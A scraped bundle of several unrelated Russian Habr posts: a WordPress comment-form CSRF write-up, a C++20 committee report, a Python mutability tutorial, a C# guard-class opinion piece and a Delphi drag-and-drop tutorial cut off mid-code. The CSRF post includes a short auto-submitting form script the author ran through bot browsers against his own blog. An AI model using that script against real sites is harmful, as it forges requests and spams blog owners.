Исходный код — [тут](http://code.google.com/p/anks2dev/source/browse/#svn/trunk/IoCNamed) | https://habr.com/ru/post/92549/ | null | ru | null |
# CSRF уязвимость в Wordpress — комментарии
#### Введение
Читал я вчера [про Егора Хомякова](http://habrahabr.ru/post/141277/). Подумал — может и я так смогу? И начал со своего блога на Wordpress. Адрес приводить не буду, иначе сам блог ляжет от Хабраэффекта, а меня обвинят в рекламе :).
#### Теория
Итак, где имеет смысл искать CSRF в Wordpress? На ум приходит только одно — комментарии. Там и начнём.
Осторожно, под катом две PNG картинки среднего размера.
Смотрим код формы (немного упрощённый):
```
Имя
Почта (скрыта)
Сайт
```
Сразу на ум приходит — никаких токенов или чего-то подобного! Стоит отметить, что на некоторых блогах я заметил подобие токена от Akismet, но лично у меня с Wordpress 3.3.1 и Akismet никакого токена нет.
Недолго думая, написал простую HTML-форму:
```
document.getElementById('author').value=(Math.random()\*100000).toFixed(0);
document.getElementById('email').value=(Math.random()\*100000).toFixed(0)+'@mail.mail';
document.forms.commentform.submit();
```
Как видно, такая страница отправляет форму комментария в подопытный блог с именем автора комментария, состоящим из случайных цифр, и e-mail вида <случайные цифры>@mail.mail. Текст комментария предельно прост — LOL.
Минус этого кода — при отправке формы пользователь неминуемо отправляется на подопытный блог. Устранить этот недостаток можно, используя iframe.
#### Практика
Я поместил данную страницу на PasteHTML вместе со страницей с iframe и запустил в неназванную «систему раскрутки сайтов» из 2000-х, являющуюся просто набором бот-браузеров.
Результат вполне предсказуем:
#### Заключение
CSRF – не редкость. Но мне непонятно, почему его допускают в ПО, используемом многими миллионами блогов. Популярный анти-спам плагин Akismet также не помог.
Вывод — блогам на Wordpress требуется либо исправление уязвимости в Wordpress, либо узконаправленный плагин для защиты от CSRF атак и/или интеграции современной каптчи.
**P.S.** Кто может и умеет — напишите, пожалуйста, разработчикам.
**P.P.S.** Это моя первая статья на Хабре, не судите строго :) | https://habr.com/ru/post/141414/ | null | ru | null |
# С++20 на подходе! Встреча в Рапперсвил-Йона
В начале июня в городе Рапперсвил-Йона завершилась встреча международной рабочей группы WG21 по стандартизации C++.
Вот что вас ждёт под катом:
* Контракты и друзья
* Концепты (без друзей)
* *\_\_has\_cpp\_attribute(unlikely)*
* *bit\_cast(some\_array)*
* *contains*, *shift\_left*, *shift\_right*, *ispow2*, *ceil2*… и старые алгоритмы под новым соусом
* *atomic\_ref*
* Что нового можно писать в шаблонах и чем это полезно
* *constexpr virtual foo()*
* Parallelism 2, Reflection и Executors TS
Также будет бонус: минисекция для экспертов:
* user-declared virtual destructor не влияет на тривиальность типа
* Куда можно будет засунуть восклицательный знак и чем это может быть полезно
* *constexpr std::regex mail\_regex(R"((?:(?:[^<>()\[\].,;:\s@\"]+(?:\.[^<>()\[\].,;:\s@\"]+)\*)|\".+\")@(?:(?:[^<>()\[\].,;:\s@\"]+\.)+[^<>()\[\].,;:\s@\"]{2,}))")*
Контракты
---------
В C++20 приняли контракты. А значит, можно будет в скором времени забыть про использование макросов для ассертов, получить лучшую документацию из коробки и даже заметить прирост производительности. Выглядят контракты на практике вот так:
```
std::string get_name_by_login(std::string_view login)
[[expects: !login.empty() ]]
[[ensures ret_value: !ret_value.empty() ]]
;
```
В описании выше всё, что в двойных квадратных скобках, является контрактами. Так вот, из них:
* Компилятор (в зависимости от флагов компиляции) сгенерирует ассерты.
* Компилятор (в зависимости от флагов компиляции) сможет делать выводы и оптимизировать код на основе их. Так, например, сможет полностью удалить проверку на пустоту возвращаемого значения в пользовательском коде.
* Сторонняя утилита (например, doxygen) сможет сгенерировать более полную документацию в функции без необходимости явно прописывать пред/пост условия.
* Статические анализаторы смогут проанализировать код и найти ситуации, когда предусловие гарантированно нарушается (да, без всяких рантайм тестов).
Подробности по контрактам доступны [в официальной бумаге](https://wg21.link/p0380).
На помощь контрактам спешит библиотека от [РГ21](https://stdcpp.ru/) и [Fails](https://habr.com/users/fails/), позволяющая сохранять и печатать стектрейс. Так можно будет задать обработчик проваленного контракта и печатать в нём последовательность вызовов, которая привела к проблеме:
```
void(const std::contract_violation & e) noexcept {
std::cerr << "Contract violated in function " << e.function_name() << '\n'
<< std::stacktrace();
}
```
При нарушении контракта мы увидим подобное сообщение:
```
Contract violated in function std::array::operator[](size\_type) [with T = int; long unsigned int N = 5ul; ]':
0# std::array::operator[](unsigned long) at /usr/include/c++/array:124
1# bar(int) at ../example/assert\_handler.cpp:17
2# foo(int) at ../example/assert\_handler.cpp:25
3# main at ../example/assert\_handler.cpp:54
4# 0x00007F991FD69F45 in /lib/x86\_64-linux-gnu/libc.so.6
5# 0x0000000000401139
}
```
*std::stacktrace* ещё не принят в C++20, но прошёл design review в группе LEWG, и осталась только работа по приведению его описания в соответствие с правилами стандарта в группе LWG. Последняя спецификация доступна [по ссылке](https://wg21.link/p0881).
Концепты
--------
Концепты как фича языка были уже приняты на [прошлом заседании комитета](https://habr.com/company/yandex/blog/336264/), а в этот раз в стандартную библиотеку приняли основные концепты из Ranges TS. Так что теперь можно пользоваться готовыми концептами для описания compile-time требований к шаблонным параметрам и не мучаться с написанием собственных:
```
template
requires Invocable
void my\_executor::execute(F f) noexcept {
lock\_guard l{data\_mutex\_};
push(std::move(f));
}
```
Полный список концептов и их описания доступны в [этом proposal](https://wg21.link/p0898).
Feature-test macros
-------------------
Уже длительное время компиляторы и стандартные библиотеки предоставляют макросы для описания возможностей компилятора. Теперь эти макросы официально являются частью стандарта и даже были расширены. Так можно будет проверить поддержку компилятором аттрибута *unlikely*, используя выражение *\_\_has\_cpp\_attribute(unlikely)*.
Список макросов, принятых на заседании [доступен в бумаге](https://wg21.link/p0941).
bit\_cast
---------
Использование *reinterpret\_cast* для преобразования одного тривиально копируемого типа в другой – очень плохая идея. Но искушение велико, и многие разработчики это делают. Поэтому комитет C++ сделал функцию специально для таких случаев.
Использовать её легко, просто замените
```
my_type my = reinterpret_cast(some\_array);
```
на
```
my_type my = std::bit_cast(some\_array);
```
Теперь, если размеры some\_array и my\_type не совпадают, или если вы пытаетесь преобразовать нетривиально копируемые типы, вы получите сообщение об ошибке на этапе компиляции. В остальных случаях вы избежите всех страшных ошибок, связанных с type aliasing.
Алгоритмы и новые функции
-------------------------
Вот некоторые полезные вещи, добавленные в стандартную библиотеку C++20:
* *shift\_left(it\_begin, it\_end, unsigned n)* – сдвигает значения в диапазоне влево на n, как если бы вызывали *\*it\_begin = std::move(\*(it\_begin + n)), \*(it\_begin + 1) = std::move(\*(it\_begin + n + 1))*...
* *shift\_right(it\_begin, it\_end, unsigned n)* – аналогично алгоритму выше, но двигает диапазон право, как если бы вызывали *\*(it\_begin + n) = std::move(\*it\_begin), \*(it\_begin + n + 1) = std::move(\*(it\_begin + 1))*...
* *ispow2(x)* – вернёт true если в него передали число, являющееся степенью двойки
* *ceil2(x)* – округляет число в большую сторону до ближайшего числа, являющегося степенью двойки
* *contains* – все ассоциативные контейнеры обзавелись функцией *bool contains(const key& v)*, которая возвращает *true* если ключ содержится в контейнере
В добавок, уже имеющиеся алгоритмы, использующие *std::swap* и сам *std::swap* стали *constexpr*. Так что теперь можно сортировать, вызывать *std::nth\_element* и получать их результаты на этапе компиляции. Все подробности доступны [в бумаге](https://wg21.link/p0879) от РГ21.
atomic\_ref
-----------
Вы работаете со структурами данных в основном из одного потока, но в какой-то момент вам необходимо работать с полем атомарно? Для этих случаев был добавлен шаблонный класс atomic\_ref (формальное описание доступно [в бумаге](https://wg21.link/p0019)).
При этом надо помнить, что атомарность гарантируется только для операций, производимых через экземпляры классов *atomic\_ref*. Так что если вы в одном потоке пишете в переменную без *atomic\_ref*, а в другом потоке читаете через *atomic\_ref*, то в итоге ничего хорошего не получится.
Кстати, если вам не нравятся неконсистентные имена типов (string**\_view**, atomic**\_ref**), то выскажите своё недовольство [по ссылке](https://stdcpp.ru/proposals/679c607b-2637-44ff-8750-3819f7136a79). Если будет достаточное количество голосов, постараемся все имена привести к одному виду.
Экземпляры классов как шаблонные параметры
------------------------------------------
Если вы написали класс *X*, и для него написали *operator<=>* следующего вида:
```
struct X {
// ...
std::strong_equality operator<=>(const X&, const X&) = default;
// ...
};
```
То ваш класс можно будет использовать в качестве шаблонного параметра:
```
template
struct x\_as\_template\_param {
// ...
};
```
Однако комитету ещё предстоит большая работа по модернизации стандартной библиотеки и переводу различных её частей на использование *operator<=>*.
constexpr virtual
-----------------
Ограничения для функций, выполняемых на этапе компиляции, были ослаблены и теперь можно писать классы с constexpr виртуальными функциями.
При этом если в базовом классе у вас имеется метод *constexpr virtual int foo();*, то в наследнике *int foo()* может быть как *constexpr*, так и нет. При вызове *foo()* на этапе компиляции компилятор не даст вам скомпилировать программу, если вы будете пытаться выполнить не constexpr виртуальную функцию.
Данное изменение, например, открывает двери для реализации применимого на этапе компиляции *std::type\_info*, что позволит этому классу получить функционал [Boost.TypeIndex](https://www.boost.org/doc/libs/1_67_0/doc/html/boost_typeindex/examples.html#boost_typeindex.examples.c_14_checking_namespace_at_compi), с возможностью гарантированной compile-time работы с типами:
```
template
constexpr bool is\_same() {
constexpr bool res = (typeid(T) == typeid(U));
return res;
}
```
Последние подробности доступны [в бумаге](http://wg21.link/p1064).
Parallelism 2, Reflection и Executors TS
----------------------------------------
Parallelism 2 всё ещё готовится к выходу, подробности и крутые фишечки можно посмотреть в [прошлом посте](https://habr.com/company/yandex/blog/351492/). С момента его публикации немного поправили type traits, связанные с simd да добавили функционала для векторных инструкций.
Reflection готовится к выпуску в виде технической спецификации (TS). В нём рефлексия делается всё ещё через механизмы, схожие с . В планах донести до ядра языка больше функционала для constexpr вычислений и переделать рефлексию на *constexpr!* функции (см. ниже).
Executors в C++20, скорее всего, не попадут, а будут выпущены в виде отдельного TS. Возможно, что весь их дизайн будет пересмотрен и упрощён.
user-declared virtual destructor и тривиальность типа
-----------------------------------------------------
Изменение, которое должно попасть в C++20 (на следующем заседании), повлияет на производительность различных частей стандартной библиотеки и оптимизации компиляторов, но вряд ли будет заметно в повседневной разработке:
```
struct i_am_trivial {
int foo;
char bar;
virtual ~i_am_trivial() = default;
};
```
Идея в том, что если деструктор виртуальный, это ещё не значит что он нетривиальный. Так стандартная библиотека сможет понимать, что тип, с которым она работает, хоть и имеет виртуальный деструктор, на самом деле не требует вызова деструктора для освобождения ресурсов. Это может дать прирост производительности, например, для *std::vector*, где Base имеет такой виртуальный деструктор.
constexpr!
----------
Ещё одно занятное изменение, которое рассматривается для приёма в C++20 – это *constexpr!* функции.
Такие функции обязаны выполняться только на этапе компиляции, любая попытка использовать их в runtime приведёт к ошибке компиляции. Это одно из изменений необходимых для рефлексии в C++.
Дополнительным бонусом *constexpr!* функций является их эффективное использование ресурсов компилятора. Т.к. *constexpr!* функции не выполняются на рантайме, компилятор не должен генерировать промежуточное представление (машинные инструкции) для них и не должен держать их памяти или оптимизировать. Это резко уменьшает количество оперативной памяти, требуемой компилятору и несколько ускоряет компиляцию. Должно оказывать ощутимый эффект на современные библиотеки, сильно полагающиеся на метапрограммирование, как [Boost.Hana](https://github.com/boostorg/hana) или [[Boost.]PFR](https://github.com/apolukhin/magic_get).
Вместо итогов: constexpr std::regex
-----------------------------------
Множество языков программирования в данный момент компилируют/транслируют регулярные выражения ещё перед запуском программы. Таким образом, когда программа стартует, все регулярные выражения уже преобразованы в соптимизированный конечный автомат.
В C++ это не так:
```
bool is_valid_mail(std::string_view mail) {
static const std::regex mail_regex(R"((?:(?:[^<>()\[\].,;:\s@\"]+(?:\.[^<>()\[\].,;:\s@\"]+)*)|\".+\")@(?:(?:[^<>()\[\].,;:\s@\"]+\.)+[^<>()\[\].,;:\s@\"]{2,}))");
return std::regex_match(
std::cbegin(mail),
std::cend(mail),
mail_regex
);
}
```
В коде выше конечный автомат из регулярного выражения будет строиться при первом заходе в функцию *is\_valid\_mail()*. Это долгая операция, которая вдобавок будет выполняться в критической секции.
С готовящимися новинками для *constexpr* вычислений (constexpr new, is\_constexpr\_evaluated() и др.) можно будет в C++ делать множество вещей на этапе компиляции, в том числе можно будет сделать *constexpr std::regex*.
С *constexpr std::regex* конечный автомат для функции *is\_valid\_mail()* построится ещё на этапе компиляции. Более того, GCC сможет генерировать оптимизированные регулярки на этапе компиляции без *static const*, т.к. начиная с GCC-6 если у *constexpr* функции все параметры на вход – константы, GCC форсирует вычисление на этапе компиляции.
Так вот, [как вам идея сделать *constexpr std::regex*](https://stdcpp.ru/proposals/801b1630-9cdd-4a1c-ab85-28d24759e8c4)?
*P.S.: Для желающих ~~денег~~ C++ практики с недавнего времени есть [Yandex.Taxi Coding Fest](https://taxi.yandex.ru/action/ytcf/coding_fest). Можно будет вооружиться и побеждать соперников используя C++17.* | https://habr.com/ru/post/413719/ | null | ru | null |
# Изменяемые и неизменяемые объекты в Python
Все в Python – это объект. Каждый новичок должен сразу усвоить, что все объекты в Python могут быть либо изменяемыми (мутабельным), либо неизменяемыми (иммутабельным).
Давайте углубимся в детали. Поскольку все в Python является объектом, то каждая переменная является экземпляром какого-то класса (объектом). Когда объект инстанцируется, ему присваивается уникальный id. Тип объекта определяется во время выполнения и после этого не меняется, однако состояние может меняться, если оно изменяемое. Проще говоря, изменяемый объект можно изменить после его создания, а неизменяемый – нет.
Объекты встроенных типов, таких как *int, float, bool, str, tuple, unicode*, являются неизменяемыми. Объекты встроенных типов, таких как *list, set, dict*, являются изменяемыми. Самописные классы, как правило, изменяемые. Если есть потребность сымитировать неизменяемость, нужно переопределить методы установки и удаления атрибутов класса так, чтобы они вызывали исключения.
Возникает вопрос, как узнать, что наша переменная изменяемый или неизменяемый объект. Для этого нам нужно понять, зачем нужны функции *id* и *type*.
**Id() и type()**
Встроенная функция `id()` возвращается *id* объекта в виде целого числа. Число обычно коррелирует с местоположением объекта в памяти, но не всегда, поскольку все зависит от реализации Python и используемой платформы. Оператор *is* сравнивает *id* двух объектов.
Встроенная функция `type()` возвращает тип объекта. Давайте обратимся к примеру.
```
''' Example 1 '''
>>> x = "Holberton"
>>> y = "Holberton"
>>> id(x)
140135852055856
>>> id(y)
140135852055856
>>> print(x is y) '''comparing the types'''
True
''' Example 2 '''
>>> a = 50
>>> type(a)
>>> b = "Holberton"
>>> type(b)
```
Теперь мы знаем, как сравнить две простые строковые переменные, чтобы определить их тип и *id*. С помощью этих двух функций мы можем узнать типы объектов связанных с переменными и их изменяемость/неизменяемость.
**Изменяемые и неизменяемые объекты**
Итак, как мы выяснили, изменяемый объект может изменять свое состояние или содержимое, а неизменяемый – нет.
> Изменяемые объекты:
>
> *list, dict, set, byte array*
>
> Неизменяемые объекты:
>
> *int, float, complex, string, tuple, frozenset (неизменяемая версия set), bytes*
>
>
Пример определения изменяемости объекта:
```
x = 10
x = y
```
Мы создаем объект типа *int*. `Id x` и `y` указывают на один и тот же объект:
```
id(x) == id(y)
id(y) == id(10)
```
А теперь просто прибавим единицу:
```
x = x + 1
```
Теперь
```
id(x) != id(y)
id(x) != id(10)
```
Объект переменной `x` изменился. Объект 10 не может изменяться. Неизменяемые объекты не допускают изменений после создания.
А если объект изменяемый:
```
m = list([1, 2, 3])
n = m
```
Мы создаем объект типа *list*. *Id* переменных `m` и `n` привязаны к одному списку, в котором лежит коллекция из трех неизменяемых объектов типа *int*.
```
id(m) == id(n)
```
Удаление элемента из объекта списка изменяет сам объект:
```
m.pop()
```
Но *id* объекта не изменяется
```
id(m) == id(n)
```
Переменные `m` и `n` будут указывать на один и тот же объект списка после изменения. В объекте списка теперь лежит [1,2].
Итак, что же мы поняли из примеров выше?
* Python обрабатывает изменяемые и неизменяемые объекты по-разному.
* Доступ к неизменяемым объектам осуществляется быстрее, чем к изменяемым.
* Изменяемые объекты отлично подойдут, если вам нужно менять размер объектов, например*, list, dict* и т.д.
* Неизменяемые значения используются, когда вам нужно убедиться, что созданный вами объект никогда не будет меняться.
* Неизменяемые объект принципиально дорого менять, поскольку для этого требуется создать копию, а изменяемые менять легко.
**Исключения в неизменяемости**
Не все неизменяемые объекты на самом деле являются неизменяемыми. Запутались? Позвольте мне объяснить.
Как мы говорили ранее, такие коллекции в Python, как кортежи, неизменяемы. То есть значение кортежа нельзя менять после его создания. Но значение кортежа на самом деле – это последовательность имен с неизменяемыми привязками к объектам. Главное, что нужно понимать, так это то, что сами «привязки» менять нельзя, а вот объекты на их концах – можно.
Рассмотрим кортеж `t = (‘holberton’, [1, 2, 3])`
Он содержит элементы разных типов данных, первый из которых – неизменяемая строка, а второй – изменяемый список. Сам со себе кортеж неизменяемый, то есть для него нет методов изменения содержимого. Строка также неизменяемая по той же причине. Но у списка есть такие методы, поэтому его можно изменить. Здесь тонкий момент, но не менее важный: «значение» неизменяемого объекта не может измениться, а вот его элементы могут.
**Как объекты передаются в функции**
Для нас важно знать разницу между изменяемыми и неизменяемыми типами, чтобы понимать, как они обрабатываются при передаче в функции. Эффективность использования памяти сильно зависит от выбора соответствующих объектов.
Например, если изменяемый объект вызывается по ссылке в функции, он может изменить исходную переменную. Следовательно, чтобы избежать этого, исходную переменную надо скопировать в другую переменную. Неизменяемые объекты можно передавать по ссылке, потому что их значение в любом случае не может меняться.
```
def updateList(list1):
list1 += [10]
n = [5, 6]
print(id(n)) # 140312184155336
updateList(n)
print(n) # [5, 6, 10]
print(id(n)) # 140312184155336
```
Как видно из примера выше, мы получили доступ к списку по ссылке, поэтому смогли изменить исходный список.
Давайте посмотрим на другой пример:
```
def updateNumber(n):
print(id(n))
n += 10
b = 5
print(id(b)) # 10055680
updateNumber(b) # 10055680
print(b) # 5
```
В примере выше в функцию передается один и тот же объект, но значение переменных не меняется даже если их *id* одинаковые. Так работает передача по значению. Что же здесь происходит? Когда функция вызывает значение, передается только значение переменной, а не сам объект. Таким образом, переменная, ссылающаяся на объект, не изменяется, а сам объект изменяется, но только в пределах области видимости функции. Следовательно, изменение не видно «снаружи».
---
В феврале в Otus состоятся открытые занятия специализации Python-разработчик. [На первом занятии](https://otus.pw/kAwT/) познакомимся с функциями-помощниками map, filter, reduce; узнаем, где они применяются и как их можно использовать.
[На втором уроке](https://otus.pw/bJFC/) познакомимся с основами веб разработки на Flask, а также научимся создавать и рендерить шаблоны страниц. Попробуем создать Flask приложение, затем создать роуты и в конце обработать различные HTTP методы на Flask.
Будем рады всем участникам, регистрация по ссылкам выше. | https://habr.com/ru/post/664302/ | null | ru | null |
# Guard классы — использовать или нет?
На днях мне довелось делать довольно крупные изменения в одном C# проекте — удаление сторонней сборки. Самое "замечательное", что львиную долю времени я потратил на изменение мест, где использовались helper'ы из этой сборки (так сказать бонус к основной функциональности).
Helper'ы такого вида:
```
Guard.ArgumentNotNull(myobject, "myobject");
```
Такие классы встречаются очень часто, они могут оформляться в common libraries и кочевать из проекта в проект. Но нужны ли они? Распространенное мнение, что подобные guard'ы уменьшают количество строк кода и увеличивают ясность, но, как по мне, это очень субъективное мнение. Вот пример:
```
class Manager(IEventProvider eventProvider, IDataSource dataSource)
{
Guard.ArgumentNotNull(eventProvider, "eventProvider");
Guard.ArgumentNotNull(dataSource, "dataSource");
this.eventProvider = eventProvider;
this.dataSource = dataSource;
}
```
```
class Manager(IEventProvider eventProvider, IDataSource dataSource)
{
if (eventProvider == null)
throw new ArgumentNullException("eventProvider");
if (dataSource == null)
throw new ArgumentNullException("dataSource");
this.eventProvider = eventProvider;
this.dataSource = dataSource;
}
```
Да количество строк кода больше, но пострадала ли ясность? Нет.
Еще одно мнение, что при необходимости выполнить проверки для большого количества зависимостей, конструкция if (...) throw превращает код в кашу. Согласен, но это симптомы проблем в дизайне, а не конструкции if (...) throw.
Интересное рассуждение на эту тему есть в блоге [Марка Симана](http://blog.ploeh.dk/2014/08/07/why-dry/).
А что вы думаете?
**P.S.** Есть еще code contracts, которые в самом простом варианте могут использоваться для подобного рода проверок. | https://habr.com/ru/post/326168/ | null | ru | null |
# Как в приложении получить список файлов, переданных из проводника посредством Drag-and-Drop
#### О чем данная статья:
Множество программ позволяют пользователю открывать файлы посредством перетаскивания их из проводника в окно приложения. Как правило это более удобно для пользователя, в отличии от стандартной модели открытия посредством выбора меню «Файл -> Открыть» или нажатия соответствующей кнопки на панели инструментов, так как в данном случае пользователь пропускает этап работы с диалоговым окном.
Добавление данной возможности в ваше приложение сделает его более «профессиональным».
#### Как это работает:
Есть два основных пути добавления данного функционала в Windows приложение.
Первый способ заключается в использовании стандартных Windows Drag-and-Drop API функций и обработке сопутствующих оконных сообщений.
Вторым методом является использование технологии OLE (COM), который предоставляет расширенные методы передачи данных между приложениями.
В данной статье будет рассмотрен первый и самый простой способ.
#### Краткий обзор:
По умолчанию, поддержка перетаскивания и приема файлов в Windows приложениях отключена.
Для включения данной возможности мы должны сказать Windows о том, что мы хотим получать уведомления о перетаскивании, а так-же указать окно, отвечающее за обработку данных уведомлений.
Данное окно должно уметь обрабатывать сообщение WM\_DROPFILES, приходящее ему в тот момент, когда пользователь завершил операцию перетаскивания.
Это сообщение предоставляет нам возможность реализовать обработчик события Drop, из которого мы может вызвать различные API функции, для получения информации о том, что именно нам было передано.
По завершении обработки данного сообщения, хорошим тоном будет уведомить Windows о том, что мы обработали данную операцию и больше не хотим получать уведомления о ней.
**Проблемы с безопасностью в Windows Vista (и выше)**
> По соображениям безопасности в Windows Vista возможность перетаскивания между окнами, имеющими различные параметры безопасности, может быть запрещена.
>
> Как следствие получение сообщения WM\_DROPFILES вашим приложением может быть заблокирована.
Рассмотрим шаг за шагом, что нужно сделать в Delphi приложении для реализации приема файлов посредством Drag-and-Drop:
1. Для получения доступа к необходимым API функциям необходимо подключить модуль ShellAPI:
```
uses
ShellAPI;
```
2. Вызовите функцию DragAcceptFiles, передав первым параметром хэндл окна, которое будет отвечать за обработку сообщения WM\_DROPFILES, а вторым значение True, указывающее что данное окно готово получать уведомления.
К примеру данным окном будет главная форма нашего приложения:
```
DragAcceptFiles(Form1.Handle, True);
```
3. Обработайте сообщение WM\_DROPFILES. В Delphi мы можем объявить обработчик сообщения в классе главной формы приложения:
```
procedure WMDropFiles(var Msg: TWMDropFiles); message WM_DROPFILES;
```
4. При получении сообщения WM\_DROPFILES используйте функции DragQueryXXX для получения информации о переданных файлах — смотрите пояснения ниже.
5. Уведомьте Windows об окончании обработки данного сообщения.
Это делается посредством вызова функции DragFinish, в которую параметром передается дескриптор HDROP, полученный при обработке сообщения WM\_DROPFILES.
Вызов данной функции освободит ресурсы, используемые для хранения данных об операции Drag-and-Drop.
```
DragFinish(DropH);
```
6. Когда будет происходить закрытие приложения, необходимо повторно вызвать функцию DragAcceptFiles, но в этот раз вторым параметром необходимо передать False, что уведомит Windows о том, что окно более не обрабатывает сообщение WM\_DROPFILES.
```
DragAcceptFiles(Form1.Handle, False);
```
#### Получение информации о перенесенных файлах.
Мы будем использовать две функции для получения информации о перенесенных файлов — DragQueryFile и DragQueryPoint.
Обе данных функции требуют параметром дескриптор HDROP, полученный при обработке сообщения WM\_DROPFILES.
##### Приветствуем мастера на все руки — DragQueryFile.
Как и большинство функций Windows API, DragQueryFile может реализовывать несколько вариантов поведения, в зависимости от переданных ему параметров.
Такое поведение иногда приводит к тому, что программисту достаточно сложно запомнить правильный вариант использования данной функции.
Давайте рассмотрим её параметры (с учетом синтаксиса Delphi):
1. DropHandle: HDROP – дескриптор операции, переданный сообщением WM\_DROPFILES.
2. Index: Integer – индекс файла, при запросе к списку переданных файлов.
3. FileName: PChar – указатель на буфер, в который будет передано имя файла.
4. BufSize: Integer – размер буфера FileName.
Вызов данной функции дает нам возможность получения следующих данных:
* Получение количества переданных файлов. Мы можем получить данную информацию передав $FFFFFFFF или DWORD(-1) в параметре Index, при этом параметр FileName должен быть «nil», а параметр BufSize, отвечающий за размер буфера FileName, должен быть равен нулю. Возвращаемое функцией значение будет равно количеству переданных файлов. Достаточно очевидно.
* Получение размера области памяти, требуемой для хранения имени файла на основании параметра Index (отсчет идет от нуля, т.е. первый файл индексируется в списке нулем). Для этого необходимо указать необходимый файл в списке, посредством параметра Index, оставив параметры FileName и BufSize такими-же, как и в предыдущем пункте. В результате функция возвратит количество байт, требуемых для хранения имени файла.
* Получение имени файла на основе переданного индекса. Для этого необходимо, помимо указания индекса файла через параметр Index, подготовить буфер (чуть больше требуемого размера), который сможет принять данные о пути к файлу, плюс терминирующий ноль.
Пока что все это выглядит достаточно не понятно, но в конце статьи мы рассмотрим все эти этапы в виде самостоятельного кода, реализованного в виде класса.
##### DragQueryPoint
Данная функция в принципе является альтернативной DragQueryFile, вызвав ее, мы можем узнать координаты, по которым завершилось перетаскивание файлов.
Рассмотрим ее параметры:
* DropHandle: HDROP – дескриптор операции, переданный сообщением WM\_DROPFILES.
* **var** Point: TPoint – структура TPoint, в которой возвращаются данные о точке завершения операции Drag-and-Drop. Если операция завершилась в клиентской области окна, то она вернет ненулевое значение, в противном случае функция вернет ноль.
#### Рассмотрим все целиком.
Создайте новый проект.
У нас есть «рыба» Delphi приложения и нам необходимо добавить в нее возможность получения информации о переданных файлах посредством Drag-and-Drop.
В нашей форме мы зарегистрируем обработчик интересующего нас события:
```
procedure TForm1.FormCreate(Sender: TObject);
begin
// ... здесь некий код
DragAcceptFiles(Self.Handle, True);
// ... здесь некий код
end;
```
Данным кодом мы подписались на прием сообщения WM\_DROPFILES.
Вот так выглядит обработчик данного сообщения:
```
procedure TForm1.WMDropFiles(var Msg: TWMDropFiles);
var
DropH: HDROP; // дескриптор операции перетаскивания
DroppedFileCount: Integer; // количество переданных файлов
FileNameLength: Integer; // длина имени файла
FileName: string; // буфер, принимающий имя файла
I: Integer; // итератор для прохода по списку
DropPoint: TPoint; // структура с координатами операции Drop
begin
inherited;
// Сохраняем дескриптор
DropH := Msg.Drop;
try
// Получаем количество переданных файлов
DroppedFileCount := DragQueryFile(DropH, $FFFFFFFF, nil, 0);
// Получаем имя каждого файла и обрабатываем его
for I := 0 to Pred(DroppedFileCount) do
begin
// получаем размер буфера
FileNameLength := DragQueryFile(DropH, I, nil, 0);
// создаем буфер, который может принять в себя строку с именем файла
// (Delphi добавляет терминирующий ноль автоматически в конец строки)
SetLength(FileName, FileNameLength);
// получаем имя файла
DragQueryFile(DropH, I, PChar(FileName), FileNameLength + 1);
// что-то делаем с данным именем (все зависит от вашей фантазии)
// ... код обработки пишем здесь
end;
// Опционально: получаем координаты, по которым произошла операция Drop
DragQueryPoint(DropH, DropPoint);
// ... что-то делаем с данными координатами здесь
finally
// Финализация - разрушаем дескриптор
// не используйте DropH после выполнения данного кода...
DragFinish(DropH);
end;
// Говорим о том, что сообщение обработано
Msg.Result := 0;
end;
```
В самом начале мы запоминаем дескриптор операции Drop в локальной переменной.
Это делается просто для удобства, в дальнейшем мы будем использовать данное значение для вызовов функции DragQueryFile (как впрочем и для остальных DragХХХ), первым вызовом которой мы получим количество файлов в списке.
Следующий наш шаг заключается в получении имени каждого файла в цикле по его индексу (файлы в списке индексируются от нуля — не забывайте это).
Для каждого файла необходимо изначально узнать размер буфера, получить который можно при помощи второго способа использования DragQueryFile, который был описан выше, а затем выделить память под строку, которая будет хранить в себе путь к файлу.
В заключение требуется прочитать путь к файлу в выделенный буфер, посредством вызова DragQueryFile третьим способом.
После чтения всей информации об именах файлов, мы можем получить координаты точки, в которую пользователь перетащил файлы.
После того как мы выполнили все операции, мы вызовем функцию DragFinish, для освобождения дескриптора.
Обратите внимание на то, что мы должны выполнить это действие в любом случае, даже при поднятии исключения.
Ну и в самом конце мы укажем результат обработки сообщения, выставив значение 0 в структуре Msg.Result, указав, таким образом, что мы успешно обработали данное сообщение.
При завершении работы приложения мы отключим главное окно от получения сообщений WM\_DROPFILES.
```
procedure TForm1.FormDestroy(Sender: TObject);
begin
// ... здесь некий код
DragAcceptFiles(Self.Handle, False);
// ... здесь некий код
end;
```
#### Реализуем это в виде класса (The Delphi Way)
Если вы согласны с тем, что использование API напрямую, непосредственно в коде базового приложения, вносит некоторый беспорядок, то думаю вы согласитесь и с тем, что гораздо удобнее вынести данный функционал во вне, в виде некоего вспомогательного класса.
Как пример, вот вам небольшой класс, который умеет обрабатывать сообщение WM\_DROPFILES.
Он прячет в себе достаточно много кода, который мы должны были-бы реализовать самостоятельно без его использования.
Правда есть нюанс — мы все-же должны уведомлять Windows о наличии окна, обрабатывающего сообщение WM\_DROPFILES.
Декларация данного класса выглядит так:
```
type
TFileCatcher = class(TObject)
private
fDropHandle: HDROP;
function GetFile(Idx: Integer): string;
function GetFileCount: Integer;
function GetPoint: TPoint;
public
constructor Create(DropHandle: HDROP);
destructor Destroy; override;
property FileCount: Integer read GetFileCount;
property Files[Idx: Integer]: string read GetFile;
property DropPoint: TPoint read GetPoint;
end;
```
… ну и его реализация:
```
constructor TFileCatcher.Create(DropHandle: HDROP);
begin
inherited Create;
fDropHandle := DropHandle;
end;
destructor TFileCatcher.Destroy;
begin
DragFinish(fDropHandle);
inherited;
end;
function TFileCatcher.GetFile(Idx: Integer): string;
var
FileNameLength: Integer;
begin
FileNameLength := DragQueryFile(fDropHandle, Idx, nil, 0);
SetLength(Result, FileNameLength);
DragQueryFile(fDropHandle, Idx, PChar(Result), FileNameLength + 1);
end;
function TFileCatcher.GetFileCount: Integer;
begin
Result := DragQueryFile(fDropHandle, $FFFFFFFF, nil, 0);
end;
function TFileCatcher.GetPoint: TPoint;
begin
DragQueryPoint(fDropHandle, Result);
end;
```
В принципе здесь нет ничего такого, что не было рассказано ранее. Весь код вы уже видели.
Конструктор принимает дескриптор HDROP, деструктор финализирует его вызовом DragFinish.
Список файлов и их количество представлены свойствами класса.
Все методы класса по сути являются оберткой над API DragQueryFile и DragQueryPoint.
Давайте перепишем обработчик сообщения WM\_DROPFILES с учетом использования TFileCatcher:
```
procedure TForm1.WMDropFiles(var Msg: TWMDropFiles);
var
I: Integer; // итератор для прохода по списку
